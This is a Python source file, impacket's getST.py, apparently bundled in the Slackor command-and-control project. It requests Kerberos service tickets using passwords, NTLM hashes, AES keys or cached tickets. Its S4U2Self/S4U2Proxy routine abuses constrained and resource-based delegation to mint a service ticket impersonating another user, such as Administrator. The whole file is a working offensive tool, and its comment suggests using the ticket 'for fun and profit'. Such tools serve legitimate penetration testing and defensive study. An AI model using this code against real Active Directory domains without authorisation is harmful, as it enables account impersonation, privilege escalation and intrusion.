github.com/Coalfire-Research/Slackor@v0.0.0-20191010164036-aa32a7f9250b/impacket/examples/getST.py (about) 1 #!/usr/bin/env python 2 # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 3 # 4 # This software is provided under under a slightly modified version 5 # of the Apache Software License. See the accompanying LICENSE file 6 # for more information. 7 # 8 # Author: 9 # Alberto Solino (@agsolino) 10 # 11 # Description: 12 # Given a password, hash, aesKey or TGT in ccache, it will request a Service Ticket and save it as ccache 13 # If the account has constrained delegation (with protocol transition) privileges you will be able to use 14 # the -impersonate switch to request the ticket on behalf other user (it will use S4U2Self/S4U2Proxy to 15 # request the ticket.) 16 # 17 # Similar feature has been implemented already by Benjamin Delphi (@gentilkiwi) in Kekeo (s4u) 18 # 19 # Examples: 20 # 21 # ./getST.py -hashes lm:nt -spn cifs/contoso-dc contoso.com/user 22 # or 23 # If you have tickets cached (run klist to verify) the script will use them 24 # ./getST.py -k -spn cifs/contoso-dc contoso.com/user 25 # Be sure tho, that the cached TGT has the forwardable flag set (klist -f). getTGT.py will ask forwardable tickets 26 # by default. 27 # 28 # Also, if the account is configured with constrained delegation (with protocol transition) you can request 29 # service tickets for other users, assuming the target SPN is allowed for delegation: 30 # ./getST.py -k -impersonate Administrator -spn cifs/contoso-dc contoso.com/user 31 # 32 # The output of this script will be a service ticket for the Administrator user. 33 # 34 # Once you have the ccache file, set it in the KRB5CCNAME variable and use it for fun and profit. 35 # 36 from __future__ import division 37 from __future__ import print_function 38 import argparse 39 import datetime 40 import logging 41 import os 42 import random 43 import struct 44 import sys 45 from binascii import unhexlify 46 from six import b 47 48 from pyasn1.codec.der import decoder, encoder 49 from pyasn1.type.univ import noValue 50 51 from impacket import version 52 from impacket.examples import logger 53 from impacket.krb5 import constants 54 from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, PA_FOR_USER_ENC, \ 55 Ticket as TicketAsn1, EncTGSRepPart, PA_PAC_OPTIONS 56 from impacket.krb5.ccache import CCache 57 from impacket.krb5.crypto import Key, _enctype_table, _HMACMD5 58 from impacket.krb5.kerberosv5 import getKerberosTGS 59 from impacket.krb5.kerberosv5 import getKerberosTGT, sendReceive 60 from impacket.krb5.types import Principal, KerberosTime, Ticket 61 from impacket.winregistry import hexdump 62 63 64 class GETST: 65 def __init__(self, target, password, domain, options): 66 self.__password = password 67 self.__user= target 68 self.__domain = domain 69 self.__lmhash = '' 70 self.__nthash = '' 71 self.__aesKey = options.aesKey 72 self.__options = options 73 self.__kdcHost = options.dc_ip 74 self.__saveFileName = None 75 if options.hashes is not None: 76 self.__lmhash, self.__nthash = options.hashes.split(':') 77 78 def saveTicket(self, ticket, sessionKey): 79 logging.info('Saving ticket in %s' % (self.__saveFileName + '.ccache')) 80 ccache = CCache() 81 82 ccache.fromTGS(ticket, sessionKey, sessionKey) 83 ccache.saveFile(self.__saveFileName + '.ccache') 84 85 def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, kdcHost): 86 decodedTGT = decoder.decode(tgt, asn1Spec = AS_REP())[0] 87 88 # Extract the ticket from the TGT 89 ticket = Ticket() 90 ticket.from_asn1(decodedTGT['ticket']) 91 92 apReq = AP_REQ() 93 apReq['pvno'] = 5 94 apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) 95 96 opts = list() 97 apReq['ap-options'] = constants.encodeFlags(opts) 98 seq_set(apReq,'ticket', ticket.to_asn1) 99 100 authenticator = Authenticator() 101 authenticator['authenticator-vno'] = 5 102 authenticator['crealm'] = str(decodedTGT['crealm']) 103 104 clientName = Principal() 105 clientName.from_asn1( decodedTGT, 'crealm', 'cname') 106 107 seq_set(authenticator, 'cname', clientName.components_to_asn1) 108 109 now = datetime.datetime.utcnow() 110 authenticator['cusec'] = now.microsecond 111 authenticator['ctime'] = KerberosTime.to_asn1(now) 112 113 if logging.getLogger().level == logging.DEBUG: 114 logging.debug('AUTHENTICATOR') 115 print(authenticator.prettyPrint()) 116 print ('\n') 117 118 encodedAuthenticator = encoder.encode(authenticator) 119 120 # Key Usage 7 121 # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes 122 # TGS authenticator subkey), encrypted with the TGS session 123 # key (Section 5.5.1) 124 encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) 125 126 apReq['authenticator'] = noValue 127 apReq['authenticator']['etype'] = cipher.enctype 128 apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator 129 130 encodedApReq = encoder.encode(apReq) 131 132 tgsReq = TGS_REQ() 133 134 tgsReq['pvno'] = 5 135 tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) 136 137 tgsReq['padata'] = noValue 138 tgsReq['padata'][0] = noValue 139 tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) 140 tgsReq['padata'][0]['padata-value'] = encodedApReq 141 142 # In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service 143 # requests a service ticket to itself on behalf of a user. The user is 144 # identified to the KDC by the user's name and realm. 145 clientName = Principal(self.__options.impersonate, type=constants.PrincipalNameType.NT_PRINCIPAL.value) 146 147 S4UByteArray = struct.pack('<I',constants.PrincipalNameType.NT_PRINCIPAL.value) 148 S4UByteArray += b(self.__options.impersonate) + b(self.__domain) + b'Kerberos' 149 150 if logging.getLogger().level == logging.DEBUG: 151 logging.debug('S4UByteArray') 152 hexdump(S4UByteArray) 153 154 # Finally cksum is computed by calling the KERB_CHECKSUM_HMAC_MD5 hash 155 # with the following three parameters: the session key of the TGT of 156 # the service performing the S4U2Self request, the message type value 157 # of 17, and the byte array S4UByteArray. 158 checkSum = _HMACMD5.checksum(sessionKey, 17, S4UByteArray) 159 160 if logging.getLogger().level == logging.DEBUG: 161 logging.debug('CheckSum') 162 hexdump(checkSum) 163 164 paForUserEnc = PA_FOR_USER_ENC() 165 seq_set(paForUserEnc, 'userName', clientName.components_to_asn1) 166 paForUserEnc['userRealm'] = self.__domain 167 paForUserEnc['cksum'] = noValue 168 paForUserEnc['cksum']['cksumtype'] = int(constants.ChecksumTypes.hmac_md5.value) 169 paForUserEnc['cksum']['checksum'] = checkSum 170 paForUserEnc['auth-package'] = 'Kerberos' 171 172 if logging.getLogger().level == logging.DEBUG: 173 logging.debug('PA_FOR_USER_ENC') 174 print(paForUserEnc.prettyPrint()) 175 176 encodedPaForUserEnc = encoder.encode(paForUserEnc) 177 178 tgsReq['padata'][1] = noValue 179 tgsReq['padata'][1]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_FOR_USER.value) 180 tgsReq['padata'][1]['padata-value'] = encodedPaForUserEnc 181 182 reqBody = seq_set(tgsReq, 'req-body') 183 184 opts = list() 185 opts.append( constants.KDCOptions.forwardable.value ) 186 opts.append( constants.KDCOptions.renewable.value ) 187 opts.append( constants.KDCOptions.canonicalize.value ) 188 189 reqBody['kdc-options'] = constants.encodeFlags(opts) 190 191 serverName = Principal(self.__user, type=constants.PrincipalNameType.NT_UNKNOWN.value) 192 193 seq_set(reqBody, 'sname', serverName.components_to_asn1) 194 reqBody['realm'] = str(decodedTGT['crealm']) 195 196 now = datetime.datetime.utcnow() + datetime.timedelta(days=1) 197 198 reqBody['till'] = KerberosTime.to_asn1(now) 199 reqBody['nonce'] = random.getrandbits(31) 200 seq_set_iter(reqBody, 'etype', 201 (int(cipher.enctype),int(constants.EncryptionTypes.rc4_hmac.value))) 202 203 if logging.getLogger().level == logging.DEBUG: 204 logging.debug('Final TGS') 205 print(tgsReq.prettyPrint()) 206 207 logging.info('\tRequesting S4U2self') 208 message = encoder.encode(tgsReq) 209 210 r = sendReceive(message, self.__domain, kdcHost) 211 212 tgs = decoder.decode(r, asn1Spec = TGS_REP())[0] 213 214 if logging.getLogger().level == logging.DEBUG: 215 logging.debug('TGS_REP') 216 print(tgs.prettyPrint()) 217 218 ################################################################################ 219 # Up until here was all the S4USelf stuff. Now let's start with S4U2Proxy 220 # So here I have a ST for me.. I now want a ST for another service 221 # Extract the ticket from the TGT 222 ticketTGT = Ticket() 223 ticketTGT.from_asn1(decodedTGT['ticket']) 224 225 ticket = Ticket() 226 ticket.from_asn1(tgs['ticket']) 227 228 apReq = AP_REQ() 229 apReq['pvno'] = 5 230 apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) 231 232 opts = list() 233 apReq['ap-options'] = constants.encodeFlags(opts) 234 seq_set(apReq,'ticket', ticketTGT.to_asn1) 235 236 authenticator = Authenticator() 237 authenticator['authenticator-vno'] = 5 238 authenticator['crealm'] = str(decodedTGT['crealm']) 239 240 clientName = Principal() 241 clientName.from_asn1( decodedTGT, 'crealm', 'cname') 242 243 seq_set(authenticator, 'cname', clientName.components_to_asn1) 244 245 now = datetime.datetime.utcnow() 246 authenticator['cusec'] = now.microsecond 247 authenticator['ctime'] = KerberosTime.to_asn1(now) 248 249 encodedAuthenticator = encoder.encode(authenticator) 250 251 # Key Usage 7 252 # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes 253 # TGS authenticator subkey), encrypted with the TGS session 254 # key (Section 5.5.1) 255 encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) 256 257 apReq['authenticator'] = noValue 258 apReq['authenticator']['etype'] = cipher.enctype 259 apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator 260 261 encodedApReq = encoder.encode(apReq) 262 263 tgsReq = TGS_REQ() 264 265 tgsReq['pvno'] = 5 266 tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) 267 tgsReq['padata'] = noValue 268 tgsReq['padata'][0] = noValue 269 tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) 270 tgsReq['padata'][0]['padata-value'] = encodedApReq 271 272 # Add resource-based constrained delegation support 273 paPacOptions = PA_PAC_OPTIONS() 274 paPacOptions['flags'] = constants.encodeFlags((constants.PAPacOptions.resource_based_constrained_delegation.value,)) 275 276 tgsReq['padata'][1] = noValue 277 tgsReq['padata'][1]['padata-type'] = constants.PreAuthenticationDataTypes.PA_PAC_OPTIONS.value 278 tgsReq['padata'][1]['padata-value'] = encoder.encode(paPacOptions) 279 280 reqBody = seq_set(tgsReq, 'req-body') 281 282 opts = list() 283 # This specified we're doing S4U 284 opts.append(constants.KDCOptions.cname_in_addl_tkt.value) 285 opts.append(constants.KDCOptions.canonicalize.value) 286 opts.append(constants.KDCOptions.forwardable.value) 287 opts.append(constants.KDCOptions.renewable.value) 288 289 reqBody['kdc-options'] = constants.encodeFlags(opts) 290 service2 = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value) 291 seq_set(reqBody, 'sname', service2.components_to_asn1) 292 reqBody['realm'] = self.__domain 293 294 myTicket = ticket.to_asn1(TicketAsn1()) 295 seq_set_iter(reqBody, 'additional-tickets', (myTicket,)) 296 297 now = datetime.datetime.utcnow() + datetime.timedelta(days=1) 298 299 reqBody['till'] = KerberosTime.to_asn1(now) 300 reqBody['nonce'] = random.getrandbits(31) 301 seq_set_iter(reqBody, 'etype', 302 ( 303 int(constants.EncryptionTypes.rc4_hmac.value), 304 int(constants.EncryptionTypes.des3_cbc_sha1_kd.value), 305 int(constants.EncryptionTypes.des_cbc_md5.value), 306 int(cipher.enctype) 307 ) 308 ) 309 message = encoder.encode(tgsReq) 310 311 logging.info('\tRequesting S4U2Proxy') 312 r = sendReceive(message, self.__domain, kdcHost) 313 314 tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] 315 316 cipherText = tgs['enc-part']['cipher'] 317 318 # Key Usage 8 319 # TGS-REP encrypted part (includes application session 320 # key), encrypted with the TGS session key (Section 5.4.2) 321 plainText = cipher.decrypt(sessionKey, 8, cipherText) 322 323 encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0] 324 325 newSessionKey = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue']) 326 327 # Creating new cipher based on received keytype 328 cipher = _enctype_table[encTGSRepPart['key']['keytype']] 329 330 return r, cipher, sessionKey, newSessionKey 331 332 def run(self): 333 334 # Do we have a TGT cached? 335 tgt = None 336 try: 337 ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) 338 logging.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME')) 339 principal = 'krbtgt/%s@%s' % (self.__domain.upper(), self.__domain.upper()) 340 creds = ccache.getCredential(principal) 341 if creds is not None: 342 # ToDo: Check this TGT belogns to the right principal 343 TGT = creds.toTGT() 344 tgt, cipher, sessionKey = TGT['KDC_REP'], TGT['cipher'], TGT['sessionKey'] 345 oldSessionKey = sessionKey 346 logging.info('Using TGT from cache') 347 else: 348 logging.debug("No valid credentials found in cache. ") 349 except: 350 # No cache present 351 pass 352 353 if tgt is None: 354 # Still no TGT 355 userName = Principal(self.__user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) 356 logging.info('Getting TGT for user') 357 tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, 358 unhexlify(self.__lmhash), unhexlify(self.__nthash), 359 self.__aesKey, 360 self.__kdcHost) 361 362 # Ok, we have valid TGT, let's try to get a service ticket 363 if self.__options.impersonate is None: 364 # Normal TGS interaction 365 logging.info('Getting ST for user') 366 serverName = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value) 367 tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, self.__kdcHost, tgt, cipher, sessionKey) 368 self.__saveFileName = self.__user 369 else: 370 # Here's the rock'n'roll 371 try: 372 logging.info('Impersonating %s' % self.__options.impersonate) 373 tgs, copher, oldSessionKey, sessionKey = self.doS4U(tgt, cipher, oldSessionKey, sessionKey, self.__kdcHost) 374 except Exception as e: 375 logging.debug("Exception", exc_info=True) 376 logging.error(str(e)) 377 if str(e).find('KDC_ERR_S_PRINCIPAL_UNKNOWN') >= 0: 378 logging.error('Probably user %s does not have constrained delegation permisions or impersonated user does not exist' % self.__user) 379 if str(e).find('KDC_ERR_BADOPTION') >= 0: 380 logging.error('Probably SPN is not allowed to delegate by user %s or initial TGT not forwardable' % self.__user) 381 382 return 383 self.__saveFileName = self.__options.impersonate 384 385 self.saveTicket(tgs,oldSessionKey) 386 387 if __name__ == '__main__': 388 # Init the example's logger theme 389 logger.init() 390 print(version.BANNER) 391 392 parser = argparse.ArgumentParser(add_help=True, description="Given a password, hash or aesKey, it will request a " 393 "TGT and save it as ccache") 394 parser.add_argument('identity', action='store', help='[domain/]username[:password]') 395 parser.add_argument('-spn', action="store", required=True, help='SPN (service/server) of the target service the ' 396 'service ticket will' ' be generated for') 397 parser.add_argument('-impersonate', action="store", help='target username that will be impersonated (thru S4U2Self)' 398 ' for quering the ST. Keep in mind this will only work if ' 399 'the identity provided in this scripts is allowed for ' 400 'delegation to the SPN specified') 401 parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') 402 403 group = parser.add_argument_group('authentication') 404 405 group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') 406 group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') 407 group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' 408 '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' 409 'ones specified in the command line') 410 group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' 411 '(128 or 256 bits)') 412 group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ' 413 'ommited it use the domain part (FQDN) specified in the target parameter') 414 415 if len(sys.argv)==1: 416 parser.print_help() 417 print("\nExamples: ") 418 print("\t./getTGT.py -hashes lm:nt contoso.com/user\n") 419 print("\tit will use the lm:nt hashes for authentication. If you don't specify them, a password will be asked") 420 sys.exit(1) 421 422 options = parser.parse_args() 423 424 if options.debug is True: 425 logging.getLogger().setLevel(logging.DEBUG) 426 else: 427 logging.getLogger().setLevel(logging.INFO) 428 429 430 import re 431 domain, username, password = re.compile('(?:(?:([^/:]*)/)?([^:]*)(?::([^@]*))?)?').match(options.identity).groups( 432 '') 433 434 try: 435 if domain is None: 436 logging.critical('Domain should be specified!') 437 sys.exit(1) 438 439 if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: 440 from getpass import getpass 441 password = getpass("Password:") 442 443 if options.aesKey is not None: 444 options.k = True 445 446 executer = GETST(username, password, domain, options) 447 executer.run() 448 except Exception as e: 449 if logging.getLogger().level == logging.DEBUG: 450 import traceback 451 traceback.print_exc() 452 print(str(e))